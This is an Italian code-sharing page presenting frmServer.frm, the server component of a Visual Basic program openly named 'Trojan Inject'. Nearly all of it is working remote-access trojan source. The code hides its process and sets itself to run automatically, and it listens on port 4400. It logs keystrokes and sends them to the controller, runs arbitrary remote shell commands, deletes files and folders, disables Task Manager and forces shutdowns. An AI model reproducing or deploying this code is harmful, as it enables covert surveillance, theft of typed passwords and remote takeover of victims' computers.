Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Trojan Inject - frmServer.frm

frmServer.frm

Caricato da:
Scarica il programma completo

  1. Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
  2. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  3. Dim SystemPath As String
  4. Dim OS As String
  5. Private Sub Form_Load()
  6. On Error Resume Next
  7. App.TaskVisible = False
  8. AutoRun App.Path & "\" & App.EXEName & ".exe"
  9. WinServer.Close
  10. WinServer.LocalPort = "4400"
  11. WinServer.Listen
  12. Call ProcedureTask
  13. End Sub
  14.  
  15. Private Sub Form_Unload(Cancel As Integer)
  16. Shell (App.Path & "\" & App.EXEName & ".exe")
  17. End Sub
  18.  
  19. Private Sub tmrKeyLogs_Timer()
  20. On Error Resume Next
  21. Dim i As Integer
  22. For i = 1 To 255
  23. rslt = 0
  24. rslt = GetAsyncKeyState(i)
  25. If rslt = -32767 Then
  26. WinServer.SendData "$Key " & Chr(i)
  27. End If
  28. Next i
  29. End Sub
  30.  
  31. Private Sub WinServer_ConnectionRequest(ByVal requestID As Long)
  32. WinServer.Close
  33. WinServer.Accept requestID
  34. End Sub
  35.  
  36. Private Sub ProcedureTask()
  37. Dim lpBuffer As String
  38. Dim nSize As Integer
  39. Dim rc As Long
  40. nSize = 255
  41. lpBuffer = Space$(nSize)
  42. rc = GetSystemDirectory(lpBuffer, nSize)
  43. If (rc <> 0) Then
  44.     SystemPath = Left$(lpBuffer, InStr(lpBuffer, Chr$(0)) - 1)
  45. Else
  46.     SystemPath = ""
  47. End If
  48. If (Len(SystemPath) = 17) Then
  49.     OS = 1
  50. Else
  51.     OS = 2
  52. End If
  53. End Sub
  54.  
  55. Private Sub WinServer_DataArrival(ByVal bytesTotal As Long)
  56. On Error Resume Next
  57. Dim Data As String
  58. WinServer.GetData Data
  59. If InStr(Data, "$MsgBox ") Then
  60. Dim RepData As String
  61. Dim Dati() As String
  62. RepData = Replace(Data, "$MsgBox ", "")
  63. Dati = Split(RepData, "|")
  64. If Dati(2) = "Normale" Then
  65. MsgBox Dati(0), , Dati(1)
  66. ElseIf Dati(2) = "Informativo" Then
  67. MsgBox Dati(0), vbInformation, Dati(1)
  68. ElseIf Dati(2) = "Esclamativo" Then
  69. MsgBox Dati(0), vbExclamation, Dati(1)
  70. ElseIf Dati(2) = "Errore" Then
  71. MsgBox Dati(0), vbCritical, Dati(1)
  72. End If
  73. ElseIf Data = "$Close" Then
  74. WinServer.Close
  75. WinServer.Listen
  76. ElseIf Data = "$ShutDown" Then
  77. Shell ("shutdown.exe -l -t 00")
  78. ElseIf Data = "$Reboot" Then
  79. Shell ("shutdown.exe -r -t 00")
  80. ElseIf Data = "$Disconnect" Then
  81. Shell ("shutdown.exe -l -t 00")
  82. ElseIf Data = "$OpenCDRom" Then
  83. Call mciSendString("set CDAudio door open", returnstring, 127, 0)
  84. ElseIf Data = "$CloseCDRom" Then
  85. Call mciSendString("set CDAudio door closed", returnstring, 127, 0)
  86. ElseIf Data = "$EnableTask" Then
  87. If (OS = 1) Then
  88.     KeysOn
  89. Else
  90.     SetKeyValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", REG_DWORD, "DisableTaskMgr", "0"
  91. End If
  92. ElseIf Data = "$DisableTask" Then
  93. If (OS = 1) Then
  94.     KeysOff
  95. Else
  96.     SetKeyValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\System", REG_DWORD, "DisableTaskMgr", "1"
  97. End If
  98. ElseIf InStr(Data, "$Kill ") Then
  99. Dim File As String
  100. File = Replace(Data, "$Kill ", "")
  101. Call Kill(File)
  102. ElseIf InStr(Data, "$RmDir ") Then
  103. Dim Dir As String
  104. Dir = Replace(Data, "$RmDir ", "")
  105. RmDir (Dir)
  106. ElseIf Data = "$StartKeyLogger" Then
  107. tmrKeyLogs.Enabled = True
  108. ElseIf Data = "$StopKeyLogger" Then
  109. tmrKeyLogs.Enabled = False
  110. ElseIf InStr(Data, "$ShellCmd ") Then
  111. Dim Cmd As String
  112. Cmd = Replace(Data, "$ShellCmd ", "")
  113. Shell (Cmd)
  114. ElseIf Data = "$ShowBar" Then
  115. Call ShowTaskBar(True)
  116. ElseIf Data = "$HideBar" Then
  117. Call ShowTaskBar(False)
  118. ElseIf Data = "$ShowDesktop" Then
  119. Call ShowDesktop(True)
  120. ElseIf Data = "$HideDesktop" Then
  121. Call ShowDesktop(False)
  122. ElseIf Data = "$InvertiMouse" Then
  123. Call SwapMouseButton(True)
  124. ElseIf Data = "$ReimpostaMouse" Then
  125. Call SwapMouseButton(False)
  126. End If
  127. End Sub